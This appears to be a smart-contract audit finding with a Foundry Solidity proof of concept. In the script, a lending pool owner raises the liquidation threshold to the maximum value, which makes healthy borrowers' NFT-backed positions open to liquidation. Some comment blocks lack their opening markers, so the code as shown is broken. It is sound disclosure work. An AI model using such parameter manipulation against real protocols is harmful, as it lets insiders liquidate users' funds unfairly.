if an insider sets the healthfactoriquidationthreshold value extremely high, all positions can be liquidated regardless of funds, and if it is set to 0, no one gets liquidated.
pragma solidity ^0.8.20;
import "forge-std/Test.sol";
import {console, Script} from "forge-std/Script.sol";
import {RAACNFT} from "../src/contracts/core/tokens/RAACNFT.sol";
import {RToken} from "../src/contracts/core/tokens/RToken.sol";
import {LendingPool} from "../src/contracts/core/pools/LendingPool/LendingPool.sol";
import {RAACHousePrices} from "../src/contracts/core/primitives/RAACHousePrices.sol";
import {RAACToken} from "../src/contracts/core/tokens/RAACToken.sol";
import {crvUSDToken} from "src/contracts/mock/core/token/crvUSDToken.sol";
import "../src/contracts/interfaces/core/pools/LendingPool/ILendingPool.sol";
contract Solve is Script, Test{
RAACNFT public raacnft;
RAACHousePrices public raac_hp;
RAACToken public raactoken;
LendingPool public lendingpool;
RToken public rtoken;
crvUSDToken public crvusdtoken;
mapping(uint256 => bool) public depositedNFTs;
address public useraddr = vm.envAddress("AASD");
address public useraddr2 = vm.envAddress("BIDDER1");
address public useraddr3 = vm.envAddress("AAASDF");
address public owner = vm.envAddress("OWNER");
address public RAACHOUSEPRICES_ADDR = vm.envAddress("RAACHousePrices");
address public CRVUSD_ADDR = vm.envAddress("CRV_USD");
address public RAACNFT_ADDR = vm.envAddress("NFT_CONTRACT");
address public RAACTOKEN_ADDR = vm.envAddress("RAACTOKEN");
address public LENDINGPOOL_ADDR = vm.envAddress("LENDINGPOOL");
address public RATOKEN_ADDR = vm.envAddress("RTOKEN");
constructor() {
rtoken = RToken(RATOKEN_ADDR);
raac_hp = RAACHousePrices(RAACHOUSEPRICES_ADDR);
raacnft = RAACNFT(RAACNFT_ADDR);
raactoken = RAACToken(RAACTOKEN_ADDR);
lendingpool = LendingPool(LENDINGPOOL_ADDR);
crvusdtoken = crvUSDToken(CRVUSD_ADDR);
}
function init() internal {
crvusdtoken.mint(address(rtoken), 10000 ether);
crvusdtoken.mint(useraddr, 10000 ether);
vm.startPrank(owner);
raactoken.setMinter(owner);
raactoken.mint(useraddr2, 10000 ether);
raactoken.mint(useraddr3, 10000 ether);
raac_hp.setOracle(owner);
raac_hp.setHousePrice(1, 10000 ether);
raac_hp.setHousePrice(2, 10000 ether);
vm.stopPrank();
vm.startPrank(useraddr2);
raactoken.approve(address(raacnft), 10000 ether);
raacnft.mint(1, 10000 ether);
raacnft.approve(address(lendingpool), 1);
vm.startPrank(useraddr3);
raactoken.approve(address(raacnft), 10000 ether);
raacnft.mint(2, 10000 ether);
raacnft.approve(address(lendingpool), 2);
vm.stopPrank();
vm.startPrank(useraddr);
crvusdtoken.approve(address(lendingpool), 10000 ether);
lendingpool.deposit(10000 ether);
vm.stopPrank();
}
function run() public {
init();
vm.startPrank(useraddr2);
lendingpool.depositNFT(1);
(uint256[] memory nftTokenIds,,,,,,,) = lendingpool.getAllUserData(useraddr2);
require(nftTokenIds[0] == 1, "nft was not deposited into the lendingpool");
lendingpool.borrow(50 ether);
console.log("user2's debt : ", lendingpool.getUserDebt(useraddr2));
console.log("NFT1 Price : ", lendingpool.getNFTPrice(1));
vm.stopPrank();
user 1 attempts to open liquidation on user 2
however, due to the large collateral, no liquidation occurs
*/
vm.startPrank(useraddr);
vm.expectRevert();
lendingpool.initiateLiquidation(useraddr2);
vm.stopPrank();
vm.startPrank(owner);
ILendingPool.OwnerParameter param = ILendingPool.OwnerParameter(1);
lendingpool.setParameter(param, type(uint256).max);
vm.stopPrank();
user 1 attempts to open liquidation on user 2 again
right now, due to overzealous internal settings, every user is open for liquidation regardless of funds
*/
vm.startPrank(useraddr);
lendingpool.initiateLiquidation(useraddr2);
console.log("user2's isUnderLiquidation : ", lendingpool.isUnderLiquidation(useraddr2));
vm.stopPrank();
vm.startPrank(useraddr3);
lendingpool.depositNFT(2);
(nftTokenIds,,,,,,,) = lendingpool.getAllUserData(useraddr3);
require(nftTokenIds[0] == 2, "nft was not deposited into the lendingpool");
lendingpool.borrow(20 ether);
console.log("user3's debt : ", lendingpool.getUserDebt(useraddr3));
console.log("NFT2 Price : ", lendingpool.getNFTPrice(2));
vm.stopPrank();
vm.startPrank(useraddr);
lendingpool.initiateLiquidation(useraddr3);
console.log("user3's isUnderLiquidation : ", lendingpool.isUnderLiquidation(useraddr3));
vm.stopPrank();
}
}
the above PoC sets the healthFactorLiquidationThreshold value to the maximum value of uint256, causing all positions to begin liquidation. the opposite is also possible